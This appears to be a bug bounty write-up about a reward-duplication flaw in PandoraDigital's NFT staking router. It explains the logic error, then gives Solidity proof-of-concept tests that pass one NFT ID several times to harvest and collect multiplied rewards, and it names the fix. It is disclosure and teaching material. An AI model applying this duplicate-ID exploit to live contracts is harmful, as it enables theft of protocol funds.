Cover photo

Bug Bounty 0x00 - Array[666,666,666]

A brief overview about a bug that I've found in PandoraDigital NFT Staking

Hi, this is the first post of the Bug Overview Series that was found during my huntings. Hope you enjoy it 🙂

Target: PandoraDigital
Platform: HackenProof
Date: 02/02/2023

  1. About the target

    "The first DEX to innovate an inclusive incentive scheme for all users and introduce a gamified system for decentralized finance." - Pandora

    Pandora also has an NFT collection called DroidBots which can be used to be staked in their pools to receive some rewards.

  2. Bug Context

    After reviewing their smart contracts, I've noticed the following contract in specific: BondRouter.sol. This contract is the door to the protocol itself, allowing the users to stake, harvest and redeem their rewards/NFTs.

    The most interesting function for me was the harvest, which receives an array of ClaimInfo in this case, the NFTs of the user, and an address which will receive the rewards as parameters. Digging deeper into the workflow, the _executeHarvest function will deal with the values, do some verifications and will enter into the for loop, that will calculate the reward earned per NFT in calAmount + calInterest functions and will increase the _amountSent variable, which contains the total value earned in this harvest. After ending the loop, the payment will be made in the payment function, and the update of the last harvest time of each NFT ID will also be updated in the updateLastHarvest function.

    At this point, I think that you already noticed the problem 😆

  3. The Bug

    The vulnerability occurs inside the _executeHarvest function, more precisely on the step to update the last harvest time of each NFT. Instead of updating the time only after the end of for, it need to be updated at the end of each execution, because if an array contains the same NFT Id more than once, the reward amount will be duplicated (as the last harvest time wasn't updated yet).

    So, to exploit this vulnerability, an attacker needed to have an Pandora NFT staked, and when calling the harvest function, it was necessary to pass the same NFT Id multiple times inside of the array, for example:

    Attacker NFT Id: 666 -> [666,666,666,666,666......]

  4. PoC

    PS: Unfortunately I forgot to upload the exploit code to Github and I simply deleted the foundry project 👏😀

    However, the image above illustrates the 2 test cases:

  1. testHarvestMoreTokens -> Will call the vulnerable function with an array with the same NFT ID 4x ([666,666,666,666]):

BondStruct.ClaimInfo[] memory claimInfo = new BondStruct.ClaimInfo;
uint256[] memory nftIDs = new uint256;
nftIDs[0] = 666;
nftIDs[1] = 666;
nftIDs[2] = 666;
nftIDs[3] = 666;

BondStruct.ClaimInfo memory claim = BondStruct.ClaimInfo({
    batchId: 1,
    ids: nftIDs
});

claimInfo[0] = claim;
router.harvest(claimInfo, attacker);
  1. testHarvestOneToken -> Will call with only one NFT ID ([666]):

BondStruct.ClaimInfo[] memory claimInfo = new BondStruct.ClaimInfo;
uint256[] memory nftIDs = new uint256;
nftIDs[0] = 666;

BondStruct.ClaimInfo memory claim = BondStruct.ClaimInfo({
    batchId: 1,
    ids: nftIDs
});

claimInfo[0] = claim;
router.harvest(claimInfo, attacker);

As we can see, the exploit worked successfully, as the NFT ID 666 had 4 tokens in reward at this harvest time, and after exploited, the attacker received 4x more tokens 🙂

  1. The Fix

    The fix for this vulnerability can be found at this commit, where the Pandora Team updated the location of the _updateLastHarvest function to the end of each for execution.

That's all folks, hope you enjoyed this simple bug 😄

If you have any suggestion, please let me know!!!

Thank you

rapt00r's Lab logo
Subscribe to rapt00r's Lab and never miss a post.
#bugbounty#solidity#writeup#web3#nft#staking#pandoradigital#ethereum